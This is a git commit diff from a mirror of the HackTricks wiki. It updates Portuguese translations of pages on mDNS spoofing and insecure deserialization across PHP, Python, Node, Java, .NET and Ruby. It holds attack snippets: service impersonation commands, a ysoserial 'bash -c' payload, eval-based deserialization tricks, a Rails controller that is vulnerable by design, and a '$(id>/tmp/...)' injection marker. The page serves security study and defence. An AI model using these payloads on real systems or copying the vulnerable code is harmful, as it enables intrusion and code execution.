mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns
This commit is contained in:
parent
a70ba11921
commit
4fe4a8742a
@ -25,7 +25,7 @@ Os serviços são identificados como _<service>._tcp ou _<service>._udp sob .loc
|
||||
```bash
|
||||
nmap -sU -p 5353 --script=dns-service-discovery <target>
|
||||
```
|
||||
- descoberta de broadcast nmap (ouça o segmento e enumere todos os tipos/instâncias DNS-SD):
|
||||
- descoberta de broadcast nmap (ouvir o segmento e enumerar todos os tipos/instâncias DNS-SD):
|
||||
```bash
|
||||
sudo nmap --script=broadcast-dns-service-discovery
|
||||
```
|
||||
@ -92,7 +92,7 @@ sudo bettercap -iface <iface> -eval "zerogod.discovery on"
|
||||
> zerogod.save 192.168.1.42 target.yml
|
||||
> zerogod.advertise target.yml
|
||||
```
|
||||
Também veja metodologias genéricas de spoofing LLMNR/NBNS/mDNS/WPAD e fluxos de captura/revezamento de credenciais:
|
||||
Também veja a falsificação genérica de LLMNR/NBNS/mDNS/WPAD e fluxos de captura/revezamento de credenciais:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -100,7 +100,7 @@ Também veja metodologias genéricas de spoofing LLMNR/NBNS/mDNS/WPAD e fluxos d
|
||||
|
||||
### Notas sobre problemas de implementação recentes (útil para DoS/persistência durante os engajamentos)
|
||||
|
||||
- Bugs de falha de afirmação de alcance do Avahi e D-Bus (2023) podem encerrar o avahi-daemon em distribuições Linux (por exemplo, CVE-2023-38469..38473, CVE-2023-1981), interrompendo a descoberta de serviços em hosts-alvo até a reinicialização.
|
||||
- Bugs de falha de afirmação de acessibilidade do Avahi e D-Bus (2023) podem encerrar o avahi-daemon em distribuições Linux (por exemplo, CVE-2023-38469..38473, CVE-2023-1981), interrompendo a descoberta de serviços em hosts-alvo até a reinicialização.
|
||||
- DoS do gateway mDNS do Cisco IOS XE Wireless LAN Controller (2024, CVE-2024-20303) permite que atacantes adjacentes provoquem alta utilização da CPU e desconectem APs. Se você encontrar um gateway mDNS entre VLANs, esteja ciente de sua estabilidade sob mDNS malformado ou de alta taxa.
|
||||
|
||||
## Considerações defensivas e OPSEC
|
||||
@ -117,12 +117,12 @@ HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD
|
||||
- Restringir a publicação quando não necessário: defina `disable-publishing=yes` e restrinja interfaces com `allow-interfaces=` / `deny-interfaces=` em `/etc/avahi/avahi-daemon.conf`.
|
||||
- Considere `check-response-ttl=yes` e evite `enable-reflector=yes`, a menos que estritamente necessário; prefira listas de permissão `reflect-filters=` ao refletir.
|
||||
- macOS: Restringir mDNS de entrada em firewalls de host/rede quando a descoberta Bonjour não for necessária para sub-redes específicas.
|
||||
- Monitoramento: Alerta sobre aumentos incomuns em consultas `_services._dns-sd._udp.local` ou mudanças súbitas em SRV/TXT de serviços críticos; estes são indicadores de spoofing ou impersonação de serviço.
|
||||
- Monitoramento: Alerta sobre aumentos incomuns em consultas `_services._dns-sd._udp.local` ou mudanças súbitas em SRV/TXT de serviços críticos; estes são indicadores de falsificação ou impersonação de serviços.
|
||||
|
||||
## Referência rápida de ferramentas
|
||||
|
||||
- nmap NSE: `dns-service-discovery` e `broadcast-dns-service-discovery`.
|
||||
- Pholus: varredura ativa, varreduras reversas de mDNS, auxiliares de DoS e spoofing.
|
||||
- Pholus: varredura ativa, varreduras reversas de mDNS, auxiliares de DoS e falsificação.
|
||||
```bash
|
||||
# Sniffing passivo (segundos de timeout)
|
||||
sudo python3 pholus3.py <iface> -stimeout 60
|
||||
@ -135,7 +135,7 @@ sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
|
||||
```
|
||||
- bettercap zerogod: descobrir, salvar, anunciar e impersonar serviços mDNS/DNS-SD (veja exemplos acima).
|
||||
|
||||
## Spoofing/MitM
|
||||
## Falsificação/MitM
|
||||
|
||||
O ataque mais interessante que você pode realizar sobre este serviço é realizar um MitM na comunicação entre o cliente e o servidor real. Você pode ser capaz de obter arquivos sensíveis (MitM a comunicação com a impressora) ou até mesmo credenciais (autenticação do Windows).\
|
||||
Para mais informações, consulte:
|
||||
|
||||
@ -74,7 +74,7 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
Se você olhar para os resultados, pode ver que as funções **`__wakeup`** e **`__destruct`** são chamadas quando o objeto é desserializado. Note que em vários tutoriais você encontrará que a função **`__toString`** é chamada ao tentar imprimir algum atributo, mas aparentemente isso **não está mais acontecendo**.
|
||||
Se você olhar para os resultados, pode ver que as funções **`__wakeup`** e **`__destruct`** são chamadas quando o objeto é desserializado. Note que em vários tutoriais você encontrará que a função **`__toString`** é chamada ao tentar imprimir algum atributo, mas aparentemente isso **não está acontecendo mais**.
|
||||
|
||||
> [!WARNING]
|
||||
> O método **`__unserialize(array $data)`** é chamado **em vez de `__wakeup()`** se estiver implementado na classe. Ele permite desserializar o objeto fornecendo os dados serializados como um array. Você pode usar este método para desserializar propriedades e realizar quaisquer tarefas necessárias após a desserialização.
|
||||
@ -120,7 +120,7 @@ $ser=serialize($o);
|
||||
> [!INFO]
|
||||
> O suporte para o **segundo argumento** de `unserialize()` (o array `$options`) foi adicionado no **PHP 7.0**. Em versões mais antigas, a função aceita apenas a string serializada, tornando impossível restringir quais classes podem ser instanciadas.
|
||||
|
||||
`unserialize()` irá **instanciar todas as classes** que encontrar dentro do fluxo serializado, a menos que seja informado o contrário. Desde o PHP 7, o comportamento pode ser restrito com a opção [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
|
||||
`unserialize()` irá **instanciar todas as classes** que encontrar dentro do fluxo serializado, a menos que seja informado o contrário. Desde o PHP 7, o comportamento pode ser restringido com a opção [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
|
||||
```php
|
||||
// NEVER DO THIS – full object instantiation
|
||||
$object = unserialize($userControlledData);
|
||||
@ -197,7 +197,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
Antes de verificar a técnica de bypass, tente usar `print(base64.b64encode(pickle.dumps(P(),2)))` para gerar um objeto que seja compatível com python2 se você estiver executando python3.
|
||||
|
||||
Para mais informações sobre como escapar de **pickle jails**, consulte:
|
||||
Para mais informações sobre escapar de **pickle jails**, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -286,7 +286,7 @@ Dentro do arquivo `node-serialize/lib/serialize.js`, você pode encontrar a mesm
|
||||
Como você pode ver no último bloco de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então, basicamente, **a entrada do usuário está sendo usada dentro da função `eval`**.
|
||||
|
||||
No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código **chamasse `y.rce`** em nosso exemplo, e isso é altamente **improvável**.\
|
||||
De qualquer forma, você poderia **modificar o objeto serializado** **adicionando alguns parênteses** para que a função serializada seja executada automaticamente quando o objeto for desserializado.\
|
||||
De qualquer forma, você poderia **modificar o objeto serializado**, **adicionando alguns parênteses** para que a função serializada seja executada automaticamente quando o objeto for desserializado.\
|
||||
No próximo bloco de código, **note o último parêntese** e como a função `unserialize` executará automaticamente o código:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
@ -340,7 +340,7 @@ function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
}
|
||||
```
|
||||
Se esta função for usada para desserializar objetos, você pode **explorá-la facilmente**:
|
||||
Se esta função é usada para desserializar objetos, você pode **explorá-la facilmente**:
|
||||
```javascript
|
||||
var serialize = require("serialize-javascript")
|
||||
//Serialization
|
||||
@ -482,7 +482,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Ao criar um payload para **java.lang.Runtime.exec()**, você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou até mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"`, mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você pode [usar esta página](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
Ao criar um payload para **java.lang.Runtime.exec()**, você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou até mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"`, mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você pode [usar esta página da web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
Sinta-se à vontade para usar o próximo script para criar **todos os possíveis payloads de execução de código** para Windows e Linux e, em seguida, testá-los na página da web vulnerável:
|
||||
```python
|
||||
@ -555,14 +555,14 @@ Java usa muita serialização para vários propósitos, como:
|
||||
|
||||
#### Transient objects
|
||||
|
||||
Uma classe que implementa `Serializable` pode implementar como `transient` qualquer objeto dentro da classe que não deveria ser serializável. Por exemplo:
|
||||
Uma classe que implementa `Serializable` pode implementar como `transient` qualquer objeto dentro da classe que não deve ser serializável. Por exemplo:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
private transient double profit; // declared transient
|
||||
private transient double margin; // declared transient
|
||||
```
|
||||
#### Evite a serialização de uma classe que precisa implementar Serializable
|
||||
#### Evite a Serialização de uma classe que precisa implementar Serializable
|
||||
|
||||
Em cenários onde certos **objetos devem implementar a interface `Serializable`** devido à hierarquia de classes, há um risco de desserialização não intencional. Para evitar isso, garanta que esses objetos sejam não desserializáveis definindo um método `readObject()` `final` que sempre lança uma exceção, conforme mostrado abaixo:
|
||||
```java
|
||||
@ -629,15 +629,15 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
### Referências
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- Desserialização e palestra sobre ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- Talk sobre desserialização e ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- Falar sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) e slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Artigo do Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- Paper do Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Java e .Net desserialização de JSON **artigo:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** palestra: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Java e .Net JSON desserialização **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- CVEs de desserializações: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## Injeção JNDI & log4Shell
|
||||
@ -665,7 +665,7 @@ Existem vários produtos usando esse middleware para enviar mensagens:
|
||||
Então, basicamente, há um **monte de serviços usando JMS de uma maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (geralmente você precisará de credenciais válidas), poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**.\
|
||||
Isso significa que, nesta exploração, todos os **clientes que vão usar essa mensagem serão infectados**.
|
||||
|
||||
Você deve lembrar que, mesmo que um serviço seja vulnerável (porque está desserializando de forma insegura a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
|
||||
Você deve lembrar que mesmo que um serviço seja vulnerável (porque está desserializando de forma insegura a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
|
||||
|
||||
A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **conectar e atacar esses serviços enviando vários objetos maliciosos serializados usando gadgets conhecidos**. Esses exploits funcionarão se o serviço ainda for vulnerável e se algum dos gadgets usados estiver dentro da aplicação vulnerável.
|
||||
|
||||
@ -673,7 +673,7 @@ A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **co
|
||||
|
||||
- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
||||
|
||||
- Palestra JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Talk sobre JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
@ -705,14 +705,14 @@ As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter
|
||||
|
||||
- **`--gadget`** usado para indicar o gadget a ser abusado (indicar a classe/função que será abusada durante a desserialização para executar comandos).
|
||||
- **`--formatter`**, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca está usando o back-end para desserializar a carga e usar a mesma para serializá-la)
|
||||
- **`--output`** usado para indicar se você quer o exploit em **raw** ou **base64** codificado. _Note que **ysoserial.net** irá **codificar** a carga usando **UTF-16LE** (codificação usada por padrão no Windows), então se você pegar o raw e apenas codificá-lo a partir de um console linux, pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON do HTB, a carga funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
|
||||
- **`--output`** usado para indicar se você quer o exploit em **raw** ou **base64** codificado. _Note que **ysoserial.net** irá **codificar** a carga usando **UTF-16LE** (codificação usada por padrão no Windows), então se você pegar o raw e apenas codificá-lo a partir de um console linux, pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (no HTB JSON box a carga funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
|
||||
- **`--plugin`** ysoserial.net suporta plugins para criar **exploits para frameworks específicos** como ViewState
|
||||
|
||||
#### Mais parâmetros do ysoserial.net
|
||||
|
||||
- `--minify` fornecerá uma **carga menor** (se possível)
|
||||
- `--raf -f Json.Net -c "anything"` Isso indicará todos os gadgets que podem ser usados com um formatador fornecido (`Json.Net` neste caso)
|
||||
- `--sf xml` você pode **indicar um gadget** (`-g`) e ysoserial.net irá procurar por formatadores contendo "xml" (sem distinção entre maiúsculas e minúsculas)
|
||||
- `--raf -f Json.Net -c "anything"` Isso indicará todos os gadgets que podem ser usados com um formatter fornecido (`Json.Net` neste caso)
|
||||
- `--sf xml` você pode **indicar um gadget** (`-g`) e ysoserial.net irá procurar por formatters contendo "xml" (case insensitive)
|
||||
|
||||
**Exemplos de ysoserial** para criar exploits:
|
||||
```bash
|
||||
@ -760,7 +760,7 @@ return obj;
|
||||
}
|
||||
```
|
||||
No **código anterior é vulnerável ao exploit criado**. Portanto, se você encontrar algo semelhante em uma aplicação .Net, isso significa que provavelmente essa aplicação também é vulnerável.\
|
||||
Assim, o **`--test`** permite entender **quais partes do código são vulneráveis** ao exploit de deserialização que **ysoserial.net** pode criar.
|
||||
Assim, o **`--test`** permite que entendamos **quais partes do código são vulneráveis** ao exploit de deserialização que **ysoserial.net** pode criar.
|
||||
|
||||
### ViewState
|
||||
|
||||
@ -942,7 +942,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
No caso de tentar abusar do Oj, foi possível encontrar uma classe gadget que dentro de sua função `hash` chamará `to_s`, que chamará spec, que chamará fetch_path, o que foi possível fazer para que buscasse uma URL aleatória, fornecendo um ótimo detector desse tipo de vulnerabilidades de deserialização não sanitizadas.
|
||||
No caso de tentar abusar do Oj, foi possível encontrar uma classe gadget que dentro de sua função `hash` chamará `to_s`, que chamará spec, que chamará fetch_path, o que foi possível fazer para buscar uma URL aleatória, fornecendo um ótimo detector desse tipo de vulnerabilidades de deserialização não sanitizadas.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -978,15 +978,15 @@ Além disso, foi descoberto que com a técnica anterior uma pasta também é cri
|
||||
```
|
||||
Verifique mais detalhes na [**postagem original**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
### Cache do Bootstrap
|
||||
### Cache de Bootstrap
|
||||
|
||||
Não é realmente uma vulnerabilidade de desserialização, mas um truque interessante para abusar do cache do bootstrap para obter RCE de uma aplicação Rails com uma escrita de arquivo arbitrária (encontre a [postagem original completa aqui](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
Não é realmente uma vulnerabilidade de desserialização, mas um truque interessante para abusar do cache de bootstrap para obter RCE de uma aplicação Rails com uma gravação de arquivo arbitrária (encontre a [postagem original completa aqui](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
|
||||
Abaixo está um resumo curto dos passos detalhados no artigo para explorar uma vulnerabilidade de escrita de arquivo arbitrária abusando do cache do Bootsnap:
|
||||
Abaixo está um resumo curto dos passos detalhados no artigo para explorar uma vulnerabilidade de gravação de arquivo arbitrária abusando do cache do Bootsnap:
|
||||
|
||||
- Identificar a Vulnerabilidade e o Ambiente
|
||||
|
||||
A funcionalidade de upload de arquivos da aplicação Rails permite que um atacante escreva arquivos arbitrariamente. Embora a aplicação funcione com restrições (apenas certos diretórios como tmp são graváveis devido ao usuário não-root do Docker), isso ainda permite a escrita no diretório de cache do Bootsnap (tipicamente sob tmp/cache/bootsnap).
|
||||
A funcionalidade de upload de arquivos da aplicação Rails permite que um atacante escreva arquivos arbitrariamente. Embora a aplicação funcione com restrições (apenas certos diretórios como tmp são graváveis devido ao usuário não-root do Docker), isso ainda permite a gravação no diretório de cache do Bootsnap (tipicamente sob tmp/cache/bootsnap).
|
||||
|
||||
- Entender o Mecanismo de Cache do Bootsnap
|
||||
|
||||
@ -1011,6 +1011,56 @@ O atacante prepara um payload que:
|
||||
Esse payload é compilado em código Ruby binário e concatenado com um cabeçalho de chave de cache cuidadosamente construído (usando os metadados coletados anteriormente e o número da versão correto para o Bootsnap).
|
||||
|
||||
- Sobrescrever e Acionar Execução
|
||||
Usando a vulnerabilidade de escrita de arquivo arbitrária, o atacante escreve o arquivo de cache elaborado na localização calculada. Em seguida, eles acionam uma reinicialização do servidor (escrevendo em tmp/restart.txt, que é monitorado pelo Puma). Durante a reinicialização, quando o Rails requer o arquivo alvo, o arquivo de cache malicioso é carregado, resultando em execução remota de código (RCE).
|
||||
Usando a vulnerabilidade de gravação de arquivo arbitrária, o atacante escreve o arquivo de cache elaborado na localização calculada. Em seguida, eles acionam uma reinicialização do servidor (escrevendo em tmp/restart.txt, que é monitorado pelo Puma). Durante a reinicialização, quando o Rails requer o arquivo alvo, o arquivo de cache malicioso é carregado, resultando em execução remota de código (RCE).
|
||||
|
||||
### Exploração do Ruby Marshal na prática (atualizado)
|
||||
|
||||
Trate qualquer caminho onde bytes não confiáveis alcancem `Marshal.load`/`marshal_load` como um ponto de RCE. O Marshal reconstrói gráficos de objetos arbitrários e aciona callbacks de biblioteca/gem durante a materialização.
|
||||
|
||||
- Caminho de código Rails vulnerável mínimo:
|
||||
```ruby
|
||||
class UserRestoreController < ApplicationController
|
||||
def show
|
||||
user_data = params[:data]
|
||||
if user_data.present?
|
||||
deserialized_user = Marshal.load(Base64.decode64(user_data))
|
||||
render plain: "OK: #{deserialized_user.inspect}"
|
||||
else
|
||||
render plain: "No data", status: :bad_request
|
||||
end
|
||||
end
|
||||
end
|
||||
```
|
||||
- Classes de gadgets comuns vistas em cadeias reais: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- Marcador de efeito colateral típico incorporado em payloads (executado durante a deserialização):
|
||||
```
|
||||
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
||||
```
|
||||
Onde aparece em aplicativos reais:
|
||||
- Armazenamentos de cache do Rails e armazenamentos de sessão historicamente usando Marshal
|
||||
- Backends de trabalho em segundo plano e armazenamentos de objetos baseados em arquivos
|
||||
- Qualquer persistência ou transporte personalizado de blobs de objetos binários
|
||||
|
||||
Descoberta industrializada de gadgets:
|
||||
- Grep por construtores, `hash`, `_load`, `init_with` ou métodos com efeitos colaterais invocados durante o desmarshalling
|
||||
- Use as consultas de deserialização insegura do CodeQL para Ruby para rastrear fontes → sumidouros e descobrir gadgets
|
||||
- Valide com PoCs públicas de múltiplos formatos (JSON/XML/YAML/Marshal)
|
||||
|
||||
## Referências
|
||||
|
||||
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
|
||||
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
|
||||
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
|
||||
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
|
||||
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
|
||||
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
|
||||
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
|
||||
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
|
||||
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
|
||||
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
|
||||
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||||
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
|
||||
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user